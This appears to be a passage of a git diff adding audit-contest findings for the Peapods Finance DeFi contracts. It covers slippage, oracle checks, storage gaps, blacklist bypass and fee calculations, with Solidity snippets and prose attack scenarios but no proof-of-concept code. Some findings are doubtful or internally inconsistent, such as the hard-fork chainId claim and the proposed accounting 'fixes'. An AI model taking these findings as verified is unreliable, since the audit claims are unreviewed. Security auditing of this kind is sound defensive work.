+The `priceX96` is inverted if needed. However, there is no decimal normalisation done at any point during the function execution. Thus, if the paired LP token and the reward token are in different decimals, the result will be completely incorrect.
+
+NOTE: The reward token and the paired LP token being in different decimals is completely expected. The developer has mentioned in a public channel that USDC will be used which has 6 decimals.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. `TokenRewards::depositFromPairedLpToken()` is called and the paired LP token, USDC, has to be converted to an 18-decimal reward token
+2. The amount out will be in 6 decimals which will result in a __HUGE__ slippage allowed, practically the slippage protection will be non-existent
+3. The other scenario would be if the reward token has less decimals than the paired LP token, which will simply cause a revert
+
+### Impact
+
+Theft of funds or reverts
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Convert the decimals accordingly
\ No newline at end of file
diff --git a/040.md b/040.md
new file mode 100644
index 0000000..3f13bc6
--- /dev/null
+++ b/040.md
@@ -0,0 +1,52 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Protocol assumes the same deployment on all chains on multiple occasions
+
+### Summary
+
+Protocol assumes the same deployment on all chains on multiple occasions
+
+### Root Cause
+
+In some contracts such as `Zapper`, we have a similar code such as the below:
+```solidity
+contract Zapper is IZapper, Context, Ownable {
+ using SafeERC20 for IERC20;
+
+ address constant STYETH = 0x583019fF0f430721aDa9cfb4fac8F06cA104d0B4;
+ address constant YETH = 0x1BED97CBC3c24A4fb5C069C6E311a967386131f7;
+ address constant WETH_YETH_POOL = 0x69ACcb968B19a53790f43e57558F5E443A91aF22;
+ address constant V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
+ ...
+}
+```
+The protocol will be deployed on multiple different chains, thus we can not assume the same address on all of them, let's for example see the address of the `YETH` variable on Mode: https://modescan.io/address/0x1BED97CBC3c24A4fb5C069C6E311a967386131f7. As seen, it is a random EOA.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+2 paths:
+
+- a simple revert
+- contract matches the address and signature which can be abused and can lead to a theft of funds (especially if the contract is upgradeable). Furthermore, as Berachain is not deployed yet, a malicious user can deploy an address at the hardcoded addresses and abuse it that way
+
+### Impact
+
+2 possible impacts - either reverts or if the address is a contract matching the function signatures, then this can lead to impacts such as a protocol drain.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Do not hardcode the addresses
\ No newline at end of file
diff --git a/041.md b/041.md
new file mode 100644
index 0000000..f655040
--- /dev/null
+++ b/041.md
@@ -0,0 +1,51 @@
+Fast Khaki Raccoon
+
+High
+
+# MEV bots will steal from users due to an incorrectly manipulated value
+
+### Summary
+
+MEV bots will steal from users due to an incorrectly manipulated value
+
+### Root Cause
+
+Upon calling `Zapper::_zap()` to handle a transfer of a different token, we have the following code which is for a direct swap in a Uniswap V3 pool:
+```solidity
+else {
+ _amountOut = _swapV3Single(_in, _getPoolFee(_poolInfo.pool1), _out, _amountIn, _amountOutMin);
+
+}
+```
+The `_amountOutMin` is provided by the user as slippage. The issue is that upon calling `_swapV3Single()`, we have the following code:
+```solidity
+uint256 _finalSlip = _slippage[_v3Pool] > 0 ? _slippage[_v3Pool] : _defaultSlippage;
+...
+DEX_ADAPTER.swapV3Single(_in, _out, _fee, _amountIn, (_amountOutMin * (1000 - _finalSlip)) / 1000, address(this));
+```
+As seen, the provided minimum amount is manipulated and decreased further.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User provides 100 tokens to swap and wants at least 90 in return
+2. The 90 minimum tokens input is decreased by `_finalSlip` percentage, resulting in the user receiving less than what he provided
+
+### Impact
+
+Theft of funds from innocent users who have done nothing wrong
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Do not manipulate the value for users who provided a specific amount of minimum tokens to receive
\ No newline at end of file
diff --git a/042.md b/042.md
new file mode 100644
index 0000000..2d44008
--- /dev/null
+++ b/042.md
@@ -0,0 +1,47 @@
+Fast Khaki Raccoon
+
+Medium
+
+# No minimum amount provided when zapping and bonding OHM tokens
+
+### Summary
+
+No minimum amount provided when zapping and bonding OHM tokens
+
+### Root Cause
+
+Upon using the zap functionality to deposit into the `pOHM` pod, we have the following code:
+```solidity
+uint256 _pOHMBefore = IERC20(pOHM).balanceOf(address(this));
+ IERC20(OHM).safeIncreaseAllowance(pOHM, _amountOut);
+ IDecentralizedIndex(pOHM).bond(OHM, _amountOut, 0);
+ return IERC20(pOHM).balanceOf(address(this)) - _pOHMBefore;
+```
+As seen, upon bonding the OHM tokens to `pOHM`, we provide a 0 as the minimum amount to mint.
+
+NOTE: The README states that they have decided to not put slippage in many places of swaps as the swap amounts will be small. This is different as the user can provide a ton of tokens and it is bonding, not swapping.
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User uses the zap functionality and wants to bond to `pOHM`
+2. He expects getting 100 `pOHM` however due to a frontrun or market conditions, he receives 50
+3. As the user can not provide a minimum amount, he can not guard against that
+
+### Impact
+
+Users will receive less than expected
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Let users provide a minimum amount
\ No newline at end of file
diff --git a/043.md b/043.md
new file mode 100644
index 0000000..3d6e3dc
--- /dev/null
+++ b/043.md
@@ -0,0 +1,43 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Incorrect `min/maxPrice` checks
+
+### Summary
+
+Incorrect `min/maxPrice` checks
+
+### Root Cause
+
+`ChainlinkSinglePriceOracle::_isValidAnswer()` implements the following check:
+```solidity
+if (_answer > _max || _answer < _min) {
+ _isValid = false;
+}
+```
+The issue is that the check is incorrect as it does not include the `=` sign. Also note that the min and max prices are deprecated but still available on some feeds such as DAI/USD on Arbitrum (DAI is supposed to be used as PAIRED_LP_TOKEN): https://arbiscan.io/address/0xFc06bB03a9e1D8033f87eA6A682cbd65477A43b9#readContract.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+No attack path needed, min and max price checks don't work
+
+### Impact
+
+Min and max price checks don't work properly, this can cause usage of incorrect prices
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Include the `=` sign, also consider reading https://rekt.news/venus-blizz-rekt/ to learn more about what could go wrong with that approach
\ No newline at end of file
diff --git a/044.md b/044.md
new file mode 100644
index 0000000..1fa1913
--- /dev/null
+++ b/044.md
@@ -0,0 +1,55 @@
+Fast Khaki Raccoon
+
+High
+
+# Incorrect total assets available calculation leads to incorrect utilisation
+
+### Summary
+
+Incorrect total assets available calculation leads to incorrect utilisation ratio
+
+### Root Cause
+
+Upon adding interest in `FraxlendPairCore`, we have the following code:
+```solidity
+uint256 _totalAssetsAvailable = _totalAssetAvailable(totalAsset, totalBorrow, true);
+_prevUtilizationRate = _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+```
+`_totalAssetsAvailable` is calculated using the following code:
+```solidity
+return _totalAsset.totalAmount(address(externalAssetVault)) - _totalBorrow.amount;
+```
+This causes the calculation to be incorrect as `_totalAssetsAvailable` is already subtracted by the `totalBorrow.amount` used in the utilisation ratio calculation.
+
+Another issue stemming from that is the fact that if the `_totalAssetsAvailable` are 0, thus all are borrowed (as we are subtracting the borrowed assets), we have a utilisation ratio of 0 which is completely incorrect, it should be 100%.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+First scenario:
+1. The utilisation ratio goes from 0 to 100% in one borrow (completely possible and likely especially during early times of the vault)
+2. Upon interest being added next time, the previous utilisation ratio is set to 0 incorrectly (should be 100%)
+3. Then upon adding interest, we won't pass the threshold as we supposedly went from 0 to 0, interest won't accrue even though we have a utilisation ratio change of 100%
+
+Second scenario:
+1. The total borrow amount is 60 and the total amount is 100
+2. The total available assets are thus 40, the calculation would be `1e18 * 60 / 40 = 1.5e18` which is 150%, completely incorrect
+
+### Impact
+
+The utilization ratio is incorrect and is used in multiple checks, the results will be completely incorrect
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Use `totalAsset.totalAmount(address(externalAssetVault))` instead
\ No newline at end of file
diff --git a/045.md b/045.md
new file mode 100644
index 0000000..290192a
--- /dev/null
+++ b/045.md
@@ -0,0 +1,80 @@
+Fast Khaki Raccoon
+
+Medium
+
+# No gap inside `DecentralizedIndex`
+
+### Summary
+
+`DecentralizedIndex` is an abstract contract with storage variables
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L17
+```solidity
+abstract contract DecentralizedIndex is Initializable, ERC20Upgradeable, ERC20PermitUpgradeable, IDecentralizedIndex {
+
+ using SafeERC20 for IERC20;
+
+ uint16 constant DEN = 10000; // 10K
+ uint8 constant SWAP_DELAY = 20; // seconds
+
+ IProtocolFeeRouter PROTOCOL_FEE_ROUTER;
+ IRewardsWhitelister REWARDS_WHITELIST;
+ IDexAdapter public override DEX_HANDLER;
+ IV3TwapUtilities V3_TWAP_UTILS;
+
+ uint256 public FLASH_FEE_AMOUNT_DAI; // 10 DAI
+ address public PAIRED_LP_TOKEN;
+ address CREATOR;
+ address V2_ROUTER;
+ address V3_ROUTER;
+ address DAI;
+ address WETH;
+ address V2_POOL;
+```
+
+that is implemented in `WeightedIndex`, which also has values
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L13
+```solidity
+contract WeightedIndex is Initializable, IInitializeSelector, DecentralizedIndex {
+ using SafeERC20 for IERC20;
+
+ uint256 private _totalWeights;
+
+```
+
+Both contracts are upgradable in mind, which can be seen from bot of them having `initialize` and inheriting upgradable contracts.
+
+However if `DecentralizedIndex` gets upgraded it's storage would clash with `WeightedIndex` bricking both contracts and costing all of the funds inside `WeightedIndex`.
+
+Note that this can be spotted in other places around the codebase.
+
+### Root Cause
+
+`DecentralizedIndex` missing a gap, while having upgradability in mind.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. `DecentralizedIndex` is upgraded and 1 new variable is introduced
+2. Storage clashes with `WeightedIndex`, causing the whole contract to be inoperable
+3. All funds are lost
+
+### Impact
+
+If `DecentralizedIndex` gets upgraded it's storage would clash with `WeightedIndex` bricking both contracts and costing all of the funds inside `WeightedIndex`.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement `gap[50]`
\ No newline at end of file
diff --git a/046.md b/046.md
new file mode 100644
index 0000000..5fa49cc
--- /dev/null
+++ b/046.md
@@ -0,0 +1,50 @@
+Fast Khaki Raccoon
+
+High
+
+# `_update` does not properly check for blacklisted users
+
+### Summary
+
+`DecentralizedIndex::_update` has a mechanic allowing users to be blacklisted, and as any other blacklistable token it block transfers to any blacklisted addresses. However it allows `from` any that are, meaning that when users get blacklisted they can just transfer them out.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L160
+```solidity
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ require(!_blacklist[_to], "BK");
+```
+
+### Root Cause
+
+`_update` not checking for if `from` is blacklisted
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L160
+```solidity
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ require(!_blacklist[_to], "BK");
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User gets blacklisted
+2. He transfers his funds to another address of his
+
+### Impact
+
+Blacklist won't work as any blacklisted user can just transfer his funds to another address.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Make sure if the sender is blacklisted the function reverts
\ No newline at end of file
diff --git a/047.md b/047.md
new file mode 100644
index 0000000..12b36d9
--- /dev/null
+++ b/047.md
@@ -0,0 +1,64 @@
+Fast Khaki Raccoon
+
+Medium
+
+# System will stop working after a hard fork
+
+### Summary
+
+Although they are rare, they happen about 2 or 3 times a year, with 2024 having Cancun + Deneb, 2023 with Shanghai + Capella, and so on...
+
+However the current system is not made to work with these changes properly as around the codebase we check for if the chain is a specific ID, instead of having configurable mappings.
+
+As we can see from the bellow code we check if the chainid is 1, and if not we use the other fee.
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L198
+```solidity
+ uint256 _min = block.chainid == 1
+ ? _lpBal / 1000
+ : _lpBal / 4000; // 0.1%/0.025% LP bal
+```
+
+However after a hard fork on ETH, everything will be the same, but the chainId will change, meaning that we would pick a `_min` that is way smaller than the one that was used a few blocks back. This of course will spend enormous amounts of gas as now the min limit for swamping is less, meaning more swaps will occur.
+
+### Root Cause
+
+The code snippet bellow that has a hard-coded check:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L198
+```solidity
+ uint256 _min = block.chainid == 1
+ ? _lpBal / 1000
+ : _lpBal / 4000; // 0.1%/0.025% LP bal
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. ETH has a hard fork
+2. ChainId splits, new fork gets 1, old gets another number
+3. Old fork now has `min` set to 4 times less, performing 4x (or more) swaps, costing enormous amounts of gas for the users (eth is not cheap)
+
+### Impact
+
+After a hard fork on ETH, everything will be the same, but the chainId will change, meaning that we would pick a `_min` that is way smaller than the one that was used a few blocks back. This of course will spend enormous amounts of gas as now the min limit for swamping is less, meaning more swaps will occur.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L198
+```solidity
+ uint256 _min = block.chainid == 1
+ ? _lpBal / 1000
+ : _lpBal / 4000; // 0.1%/0.025% LP bal
+```
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Use configurable mappings to set and manage the min amounts per contract.
\ No newline at end of file
diff --git a/048.md b/048.md
new file mode 100644
index 0000000..6e0bf41
--- /dev/null
+++ b/048.md
@@ -0,0 +1,136 @@
+Fast Khaki Raccoon
+
+High
+
+# `flashMint` would mint the admins an enourmous amounts of fees, leading to TX reverting in most cases
+
+### Summary
+
+`flashMint` upon minting to the user would mint an enormous amounts of fees to the admin, due to `_mint` invoking `_update` with the flash loan amount.
+
+```solidity
+ function flashMint(address _recipient, uint256 _amount, bytes calldata _data) external override lock {
+ _shortCircuitRewards = 1;
+ uint256 _fee = _amount / 1000;
+ _mint(_recipient, _amount); // @audit it would trigger update and mint the admins fees from transfers that are not of "real" tokens
+```
+
+```solidity
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ require(!_blacklist[_to], "BK");
+
+ bool _buy = _from == V2_POOL && _to != V2_ROUTER;
+ bool _sell = _to == V2_POOL;
+ uint256 _fee;
+
+ if (_swapping == 0 && _swapAndFeeOn == 1) {
+ if (_from != V2_POOL) {
+ _processPreSwapFeesAndSwap();
+ }
+ if (_buy && _fees.buy > 0) {
+ _fee = (_amount * _fees.buy) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (_sell && _fees.sell > 0) {
+ _fee = (_amount * _fees.sell) / DEN;
+ super._update(_from, address(this), _fee);
+
+ //@audit right here
+ } else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+ _fee = _fee == 0 && _amount > 0
+ ? 1
+ : _fee;
+ super._update(_from, address(this), _fee);
+ }
+ }
+
+ _processBurnFee(_fee);
+ super._update(_from, _to, _amount - _fee);
+ }
+```
+
+This is dangerous as these transfers are not from "real" tokens, but ones that are used for 1 time use during rush moments, like liquidations, leveraging and so on...
+
+
+Note that the same happens in burn, which is also invoked inside this function. This would not only cause the fee to be higher, **but also to be taken 2 times, as both mint and burn would charge it**.
+
+```solidity
+ _mint(_recipient, _amount);
+ IFlashLoanRecipient(_recipient).callback(_data);
+ _burn(_recipient, _amount);
+```
+
+### Root Cause
+
+`_mint` triggers `_update` minting an enormous amounts of fees, reducing the FL amount that our user receives, leading to his inability to repay the loan and the TX reverting.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L427
+```solidity
+ function flashMint(address _recipient, uint256 _amount, bytes calldata _data) external override lock {
+ _shortCircuitRewards = 1;
+ uint256 _fee = _amount / 1000;
+ _mint(_recipient, _amount); // @audit it would trigger update and mint the admins fees from transfers that are not of "real" tokens
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L174-L177
+```solidity
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ require(!_blacklist[_to], "BK");
+
+ bool _buy = _from == V2_POOL && _to != V2_ROUTER;
+ bool _sell = _to == V2_POOL;
+ uint256 _fee;
+
+ if (_swapping == 0 && _swapAndFeeOn == 1) {
+ if (_from != V2_POOL) {
+ _processPreSwapFeesAndSwap();
+ }
+ if (_buy && _fees.buy > 0) {
+ _fee = (_amount * _fees.buy) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (_sell && _fees.sell > 0) {
+ _fee = (_amount * _fees.sell) / DEN;
+ super._update(_from, address(this), _fee);
+
+ //@audit right here
+ } else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+ _fee = _fee == 0 && _amount > 0
+ ? 1
+ : _fee;
+ super._update(_from, address(this), _fee);
+ }
+ }
+
+ _processBurnFee(_fee);
+ super._update(_from, _to, _amount - _fee);
+ }
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User uses flashmint to perform some kind of arbitrage
+2. Needs 10m
+3. Fees are 0.1%, so 10k gets minted to the admin as a fee
+4. User is unable to repay the loan, so the TX reverts
+
+### Impact
+
+Users unable to use flash-loans due to `_mint` triggering `_update` which would mint percentage fee to the system.
+FL revert in most cases.
+Fee is taken 2 times, as mint and burn would take a part each time they are invoked.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Don't charge percentage based fees on FL.
\ No newline at end of file
diff --git a/049.md b/049.md
new file mode 100644
index 0000000..dbf89c7
--- /dev/null
+++ b/049.md
@@ -0,0 +1,55 @@
+Fast Khaki Raccoon
+
+High
+
+# `earlyWithdraw` will charge a significantly lower fee
+
+### Summary
+
+Early debond fee is set to be ` debond fee` + 10% of amount
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/PodUnwrapLocker.sol#L125-L126
+```solidity
+ // Penalty = debond fee + 10%
+ uint256 _penaltyBps = _debondFee + _debondFee / 10;
+ uint256[] memory _penalizedAmounts = new uint256[](_lock.tokens.length);
+```
+
+However as we can see from the code snippet it's actually `_debondFee` + 10% of `_debondFee`, or `_debondFee * 11 / 10`.
+
+### Root Cause
+
+debond fee is significantly less than prescribed in the comments, leading to a lower gain or the system and a lower punishment for the user
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/PodUnwrapLocker.sol#L125-L126
+```solidity
+ // Penalty = debond fee + 10%
+ uint256 _penaltyBps = _debondFee + _debondFee / 10;
+ uint256[] memory _penalizedAmounts = new uint256[](_lock.tokens.length);
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User withdraws early 100k
+2. debond fee is 10 DAI
+3. User pays 11 DAI, instead of 10 DAI + 10% of 100k and has his assets way earlier than normal
+
+### Impact
+
+Users pay a significantly lower fee for early withdraw.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Make sure the 10% is taken form the amounts, not the debond value.
\ No newline at end of file
diff --git a/050.md b/050.md
new file mode 100644
index 0000000..5ce3caf
--- /dev/null
+++ b/050.md
@@ -0,0 +1,63 @@
+Fast Khaki Raccoon
+
+Medium
+
+# `PodUnwrapLocker::_withdraw` would brick all user funds if he gets blacklisted for only 1 of the tokens
+
+### Summary
+
+If a user gets blackliste for one of the tokens this `for` would revert resulting in his funds being stuck.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/PodUnwrapLocker.sol#L148
+```solidity
+ function _withdraw(address _user, uint256 _lockId) internal {
+ LockInfo storage _lock = locks[_lockId];
+ require(_lock.user == _user, "W1");
+ require(!_lock.withdrawn, "W2");
+ require(block.timestamp >= _lock.unlockTime, "W3");
+
+ _lock.withdrawn = true;
+
+ for (uint256 i = 0; i < _lock.tokens.length; i++) {
+ if (_lock.amounts[i] > 0) {
+ //@audit if a user gets balcklisted for one of the tokens this reverts
+ IERC20(_lock.tokens[i]).safeTransfer(_user, _lock.amounts[i]);
+ }
+ }
+
+ emit TokensWithdrawn(_lockId, _user, _lock.tokens, _lock.amounts);
+ }
+```
+
+
+
+### Root Cause
+
+Using a loop to distribute different tokens.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Bond is 10% USDT, 10% USDC 40% WETH 40% WBTC
+2. User gets blacklisted for USDT
+3. His bond is worth 100k
+4. All of these assets would remain stuck inside the contract
+
+### Impact
+
+All of our user assets would get stuck inside the contract if he gets blacklisted for 1 of the tokens
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+User pull instead of push. Make sure the user claims his tokens 1 by 1.
\ No newline at end of file
diff --git a/051.md b/051.md
new file mode 100644
index 0000000..439fe5e
--- /dev/null
+++ b/051.md
@@ -0,0 +1,111 @@
+Daring Mustard Crab
+
+High
+
+# Accounting Errors in whitelistWithdraw and whitelistDeposit Functions
+
+### Summary
+
+The **whitelistWithdraw** and **whitelistDeposit** functions contain accounting mistakes that can lead to incorrect tracking of vault balances, which may cause over-withdrawals, misreported deposits, or incorrect utilization values.
+
+**Severity:** High
+**Impact:** High
+**Likelihood:** High
+
+### Affected Lines of Code
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L230-L241
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L246-L254
+
+**whitelistWithdraw function:**
+```solidity
+vaultDeposits[_vault] += _assetAmt;
+vaultUtilization[_vault] += _assetAmt;
+_totalAssetsUtilized += _assetAmt;
+```
+**whitelistDeposit function:**
+```solidity
+vaultDeposits[_vault] -= _assetAmt > vaultDeposits[_vault] ? vaultDeposits[_vault] : _assetAmt;
+vaultUtilization[_vault] -= _assetAmt;
+_totalAssetsUtilized -= _assetAmt;
+```
+
+### Description of Issue
+The `whitelistWithdraw` and `whitelistDeposit` functions contain accounting errors that could result in incorrect tracking of vault balances, potentially causing over-withdrawals, incorrect deposit amounts, and inaccurate utilization values.
+
+**Issues Identified:**
+1. **whitelistWithdraw:**
+
+When assets are withdrawn, the deposit balance and utilization are both *incorrectly increased*.
+There is *no check to ensure the vault has sufficient assets* for withdrawal, leading to the risk of over-withdrawals.
+
+2. **whitelistDeposit:**
+
+*Faulty logic* in the subtraction of the deposit balance, leading to incorrect deposit values.
+The vault's utilization and total assets utilized are incorrectly *decreased* when assets are deposited, which misrepresents the vault's actual asset usage.
+
+### Impacts
+- **Incorrect Balances:** Misreported deposits and utilization can lead to vault imbalances.
+- **Financial Risk:** Over-withdrawals or misreported deposits can disrupt vault functionality and affect liquidity.
+- **System Integrity:** The errors could propagate through other parts of the system, leading to further failures.
+
+### Likelihood Explanation
+- **High Likelihood:** These errors can easily occur during normal operations, especially with frequent deposits and withdrawals. If triggered, they will propagate throughout the system, causing further issues.
+
+### Recommendation:
+1. **Fix whitelistWithdraw:**
+
+- Decrease the deposit balance when withdrawing.
+- Increase utilization since the assets are being used.
+- Add validation to ensure the vault has enough assets for the withdrawal.
+```solidity
+vaultDeposits[_vault] -= _assetAmt; // Decrease deposits when withdrawing
+vaultUtilization[_vault] += _assetAmt; // Increase utilization since assets are being used
+_totalAssetsUtilized += _assetAmt; // Increase total assets utilized
+```
+2. **Fix whitelistDeposit:**
+
+- Increase the deposit balance when assets are deposited.
+- Decrease utilization to reflect the return of assets.
+- Update the total assets utilized correctly.
+```solidity
+vaultDeposits[_vault] += _assetAmt; // Increase deposits when vault returns assets
+vaultUtilization[_vault] -= _assetAmt; // Decrease utilization since assets are returned
+_totalAssetsUtilized -= _assetAmt; // Decrease total assets utilized
+```
+### Final Correct Code
+✅ `whitelistWithdraw` (Decrease `vaultDeposits`, Increase Utilization)
+```solidity
+
+function whitelistWithdraw(uint256 _assetAmt) external override onlyWhitelist {
+ address _vault = _msgSender();
+ _updateAssetMetadataFromVault(_vault);
+
+ require(totalAvailableAssetsForVault(_vault) >= _assetAmt, "MAX");
+
+ vaultDeposits[_vault] -= _assetAmt; // ✅ Decrease deposits when withdrawing
+ vaultUtilization[_vault] += _assetAmt; // ✅ Increase utilization since assets are being used
+ _totalAssetsUtilized += _assetAmt; // ✅ Increase total assets utilized
+
+ IERC20(_asset).safeTransfer(_vault, _assetAmt);
+ emit WhitelistWithdraw(_vault, _assetAmt);
+}
+```
+✅ `whitelistDeposit` (Increase `vaultDeposits`, Decrease Utilization)
+```solidity
+
+function whitelistDeposit(uint256 _assetAmt) external override onlyWhitelist {
+ address _vault = _msgSender();
+ _updateAssetMetadataFromVault(_vault);
+
+ vaultDeposits[_vault] += _assetAmt; // ✅ Increase deposits when vault returns assets
+ vaultUtilization[_vault] -= _assetAmt; // ✅ Decrease utilization since assets are returned
+ _totalAssetsUtilized -= _assetAmt; // ✅ Decrease total assets utilized
+
+ IERC20(_asset).safeTransferFrom(_vault, address(this), _assetAmt);
+ emit WhitelistDeposit(_vault, _assetAmt);
+}
+```
+### Final Confirmation:
+✅ **Withdraw** → Decrease deposits, Increase utilization
+✅ **Deposit** → Increase deposits, Decrease utilization
\ No newline at end of file
diff --git a/052.md b/052.md
new file mode 100644
index 0000000..5a85b88
--- /dev/null
+++ b/052.md
@@ -0,0 +1,80 @@
+Daring Mustard Crab
+
+Medium
+
+# No validation is performed on _pairedOut before calculations, leading to potential silent failures
+
+### Summary
+The function `_tokenToPodLp()` calls `_tokenToPairedLpToken(_token, _amountIn)`, but it does not verify whether the returned value (`_pairedOut`) is valid before proceeding. This missing check can lead to silent failures, incorrect calculations, or unexpected behavior when `_pairedOut` is `0`.
+
+**Severity:** Medium
+**Impact:** Medium
+**Likelihood:** High
+
+### Affected Line of Code
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L233-L247
+
+```solidity
+uint256 _pairedOut = _tokenToPairedLpToken(_token, _amountIn);
+if (_pairedOut > 0) { // Missing validation before this check
+ uint256 _pairedFee = (_pairedOut * protocolFee) / 1000;
+```
+### Finding Description
+The `_tokenToPodLp()` function is responsible for converting a given `_token` into LP tokens. It first calls `_tokenToPairedLpToken()` to get the paired token amount but does not verify if `_pairedOut` is valid before proceeding.
+
+This missing validation introduces multiple risks:
+
+1. **Silent Failure:** If `_tokenToPairedLpToken()` fails or returns `0`, the function continues execution instead of reverting.
+2. **Incorrect Fee Calculation:** If `_pairedOut` is `0`, fee calculations still take place, leading to unnecessary operations.
+3. **Potentially Stuck Funds:** If `_pairedOut` is `0`, `_lpAmtOut` will also be `0`, but the `require(_lpAmtOut >= _amountLpOutMin, "M");` statement is only executed if `_pairedOut > 0`, meaning the function could exit without providing LP tokens.
+4. **Breaks Expected Security Guarantees:** Functions that perform conversions should validate return values to prevent downstream errors.
+
+An attacker could exploit this issue by providing a token pair with an invalid conversion path, leading to transactions completing without reverting while failing to provide LP tokens in return.
+
+### Impact Explanation
+This issue has a medium impact because it can lead to loss of funds for users who expect a successful LP token conversion but instead receive nothing without a clear revert. While this does not allow direct theft of funds, it results in unexpected and undesirable behavior for protocol users.
+
+### Likelihood Explanation
+The likelihood of this issue occurring is high because:
+
+1. The function does not validate `_pairedOut`, meaning any failure in `_tokenToPairedLpToken()` propagates silently.
+2. If `_tokenToPairedLpToken()` returns `0` due to an unsupported token, a liquidity issue, or an external failure, the user could lose funds without realizing why.
+3. Malicious actors could create tokens that fail to convert properly, leading to confusion and potential exploitation.
+
+### Proof of Concept
+**Scenario 1 – Unsupported Token Pair**
+
+1. User calls `_tokenToPodLp(someUnsupportedToken`, 1000, 500, deadline).
+2. `_tokenToPairedLpToken()` fails to convert and returns `0`.
+3. The function does not revert, and the user does not receive any LP tokens.
+
+**Scenario 2 – Malicious Token**
+
+1. Attacker creates a token contract where `_tokenToPairedLpToken()` always returns `0`.
+2. User unknowingly interacts with it, and the function completes without providing LP tokens.
+
+### Recommendation
+To fix this issue, add a check right after _tokenToPairedLpToken() is called:
+
+**Fixed Code Snippet:**
+```solidity
+uint256 _pairedOut = _tokenToPairedLpToken(_token, _amountIn);
+require(_pairedOut > 0, "Conversion failed"); // Ensure valid return value before proceeding
+
+uint256 _pairedFee = (_pairedOut * protocolFee) / 1000;
+if (_pairedFee > 0) {
+ _protocolFees += _pairedFee;
+ _pairedOut -= _pairedFee;
+}
+_lpAmtOut = _pairedLpTokenToPodLp(_pairedOut, _deadline);
+require(_lpAmtOut >= _amountLpOutMin, "M");
+```
+ OR
+**If want better revert messaging**
+```solidity
+uint256 _pairedOut = _tokenToPairedLpToken(_token, _amountIn);
+require(_pairedOut > 0, "Conversion failed: token not paired or invalid");
+```
+Ensures `_tokenToPairedLpToken()` provides a valid, nonzero output before continuing.
+Prevents silent failures and ensures that users receive expected LP tokens or a clear revert message.
+Reduces unnecessary calculations when `_pairedOut` is `0`.
\ No newline at end of file
diff --git a/053.md b/053.md
new file mode 100644
index 0000000..b7a546e
--- /dev/null
+++ b/053.md
@@ -0,0 +1,66 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Removing leverage will often fail when the received pair LP token is insufficient
+
+### Summary
+
